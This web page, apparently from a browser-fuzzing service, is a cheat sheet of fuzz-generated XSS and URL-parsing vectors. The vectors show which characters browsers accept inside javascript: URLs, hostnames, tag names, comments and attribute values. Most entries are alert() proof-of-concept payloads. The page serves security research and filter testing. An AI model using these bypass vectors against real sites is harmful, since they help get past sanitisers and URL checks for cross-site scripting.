Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 212 vectors with results
const s = String.fromCodePoint(i);
if (encodeURIComponent(s).includes("%")) alert(i);List of all characters that when passed through encodeURIComponent(), will be percent-encoded
try{
img = document.createElement("img");
img.src=`https://example.com:1@1`;
url = new URL(img.src);
if(url.hostname != "example.com"){
alert(64);
}
} catch{}Injection in src attribute PORT, characters that change hostname
try{
document.createElement(String.fromCodePoint(58));
alert(58)
} catch{}This shows which characters are allowed as a tag name with the document.createElement API.
try{
document.createElement(String.fromCodePoint(95));
alert(95)
} catch{}This shows which characters are allowed as a tag name with the document.createElement API.
<a href="https://0x09example2.com" id=x></a>This vectors show which characters are ignored at the start of the hostname.
<a href="https://
example2.com" id=x></a>This vectors show which characters are ignored at the start of the hostname.
<a href="https://
example2.com" id=x></a>This vectors show which characters are ignored at the start of the hostname.
<a href="https:///example2.com" id=x></a>This vectors show which characters are ignored at the start of the hostname.
<a href="https://@example2.com" id=x></a>This vectors show which characters are ignored at the start of the hostname.
char = String.fromCodePoint(60)
url = "javascript://google.com"+char
try {
new URL(url)
}
catch(e){
anchor.href=url
if(anchor.protocol !== ':'){alert(60)}
}char = String.fromCodePoint(62)
url = "javascript://google.com"+char
try {
new URL(url)
}
catch(e){
anchor.href=url
if(anchor.protocol !== ':'){alert(62)}
}char = String.fromCodePoint(64)
url = "javascript://google.com"+char
try {
new URL(url)
}
catch(e){
anchor.href=url
if(anchor.protocol !== ':'){alert(64)}
}char = String.fromCodePoint(91)
url = "javascript://google.com"+char
try {
new URL(url)
}
catch(e){
anchor.href=url
if(anchor.protocol !== ':'){alert(91)}
}char = String.fromCodePoint(92)
url = "javascript://google.com"+char
try {
new URL(url)
}
catch(e){
anchor.href=url
if(anchor.protocol !== ':'){alert(92)}
}(new URL("https:" + String.fromCodePoint(0) + "example.com","https://shazzer.co.uk").origin === new URL("https://shazzer.co.uk").origin) && (new URL("https:" + String.fromCodePoint(0) + "example.com").origin === new URL("https://example.com").origin) && alert(0 + " >> " + String.fromCodePoint(0))
Characters that cause URL() to treat the provided url as a relative url when a base is used, and as an absolute url when no base is used. Based on the writeup: blog.vitorfalcao.com/posts/intigriti-0525-writeup/…
Characters that can be used to end unencapsulated HTML attribute values.
Characters that can be used to end unencapsulated HTML attribute values.
Characters that can be used to end unencapsulated HTML attribute values.
This vector shows Unicode characters that have a decomposition of 2 or more ASCII characters, which get normalized by the browser. These characters are valid for use as domain names, expanding short strings into longer ones through decomposition.
let chr = String.fromCodePoint(9);
new URL("foo"+chr+"bar://example.com").host === "example.com" && alert(9)This vector demonstrates which characters are allowed in the protocol section of the URL but still resolve to example.com. Based on the following tweet: x.com/0xMstar/status/1918577367062331826
let chr = String.fromCodePoint(10);
new URL("foo"+chr+"bar://example.com").host === "example.com" && alert(10)This vector demonstrates which characters are allowed in the protocol section of the URL but still resolve to example.com. Based on the following tweet: x.com/0xMstar/status/1918577367062331826
let chr = String.fromCodePoint(13);
new URL("foo"+chr+"bar://example.com").host === "example.com" && alert(13)This vector demonstrates which characters are allowed in the protocol section of the URL but still resolve to example.com. Based on the following tweet: x.com/0xMstar/status/1918577367062331826
let chr = String.fromCodePoint(43);
new URL("foo"+chr+"bar://example.com").host === "example.com" && alert(43)This vector demonstrates which characters are allowed in the protocol section of the URL but still resolve to example.com. Based on the following tweet: x.com/0xMstar/status/1918577367062331826
let chr = String.fromCodePoint(45);
new URL("foo"+chr+"bar://example.com").host === "example.com" && alert(45)This vector demonstrates which characters are allowed in the protocol section of the URL but still resolve to example.com. Based on the following tweet: x.com/0xMstar/status/1918577367062331826
document.body.innerHTML = String.fromCodePoint(60) + "img src=x onerror=alert(60) />";<div style="color:red">test</div>Characters that can be replace opening angle bracket and still form a valid HTML element
<input id="test" value="s0x00onload="alert(1)" />Characters that can break out of an inline value with double quotes
<a href="javascript0x09:" id=x></a>This tests for chars allowed before the colon in a Javascript uri format.
<a href="javascript
:" id=x></a><a href="javascript
:" id=x></a>This tests for chars allowed before the colon in a Javascript uri format.
<a href="javascript::" id=x></a><img src0x09=data:text/plain, id="testImg">Shows characters that are allowed between src and = in an img tag.
<img src0x0C=data:text/plain, id="testImg">Shows characters that are allowed between src and = in an img tag.
Shows characters that are allowed between src and = in an img tag.
if (new URL("https://0x09localhost/endpoint").host == "localhost") {
alert(9);
}This vector will test what characters can be inserted between the protocol separator (//) and the domain (localhost) in a URL (e.g., https://{X}localhost/endpoint) while still allowing the browser to resolve the host property as "localhost".
if (new URL("https:///localhost/endpoint").host == "localhost") {
alert(47);
}This vector will test what characters can be inserted between the protocol separator (//) and the domain (localhost) in a URL (e.g., https://{X}localhost/endpoint) while still allowing the browser to resolve the host property as "localhost".
if (new URL("https://@localhost/endpoint").host == "localhost") {
alert(64);
}This vector will test what characters can be inserted between the protocol separator (//) and the domain (localhost) in a URL (e.g., https://{X}localhost/endpoint) while still allowing the browser to resolve the host property as "localhost".
if (new URL("https://\localhost/endpoint").host == "localhost") {
alert(92);
}This vector will test what characters can be inserted between the protocol separator (//) and the domain (localhost) in a URL (e.g., https://{X}localhost/endpoint) while still allowing the browser to resolve the host property as "localhost".
if (new URL("https://localhost/endpoint").host == "localhost") {
alert(173);
}This vector will test what characters can be inserted between the protocol separator (//) and the domain (localhost) in a URL (e.g., https://{X}localhost/endpoint) while still allowing the browser to resolve the host property as "localhost".
<a href="java0x09script:test.com/" id="test"></a>Characters that can be inside the javascript protocol in html
<a href="java
script:test.com/" id="test"></a><a href="java
script:test.com/" id="test"></a>Characters that can be inside the javascript protocol in html
--><!---><script>alert(45)</script>--><!-->><script>alert(62)</script><a href="0x01javascript:" id=x></a>This is an example how you can use the XSS type to fuzz URLs. This one fuzzes characters before the JavaScript protocol. It uses a base tag to get round the sandboxed iframe problems.
<a href="0x02javascript:" id=x></a>This is an example how you can use the XSS type to fuzz URLs. This one fuzzes characters before the JavaScript protocol. It uses a base tag to get round the sandboxed iframe problems.
<a href="0x03javascript:" id=x></a>This is an example how you can use the XSS type to fuzz URLs. This one fuzzes characters before the JavaScript protocol. It uses a base tag to get round the sandboxed iframe problems.
<a href="0x04javascript:" id=x></a>This is an example how you can use the XSS type to fuzz URLs. This one fuzzes characters before the JavaScript protocol. It uses a base tag to get round the sandboxed iframe problems.
<a href="0x05javascript:" id=x></a>This is an example how you can use the XSS type to fuzz URLs. This one fuzzes characters before the JavaScript protocol. It uses a base tag to get round the sandboxed iframe problems.
<a href="0x01//example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. This one fuzzes characters before double slashes. It uses a base tag to get round the sandboxed iframe problems.
<a href="0x02//example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. This one fuzzes characters before double slashes. It uses a base tag to get round the sandboxed iframe problems.
<a href="0x03//example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. This one fuzzes characters before double slashes. It uses a base tag to get round the sandboxed iframe problems.
<a href="0x04//example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. This one fuzzes characters before double slashes. It uses a base tag to get round the sandboxed iframe problems.
<a href="0x05//example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. This one fuzzes characters before double slashes. It uses a base tag to get round the sandboxed iframe problems.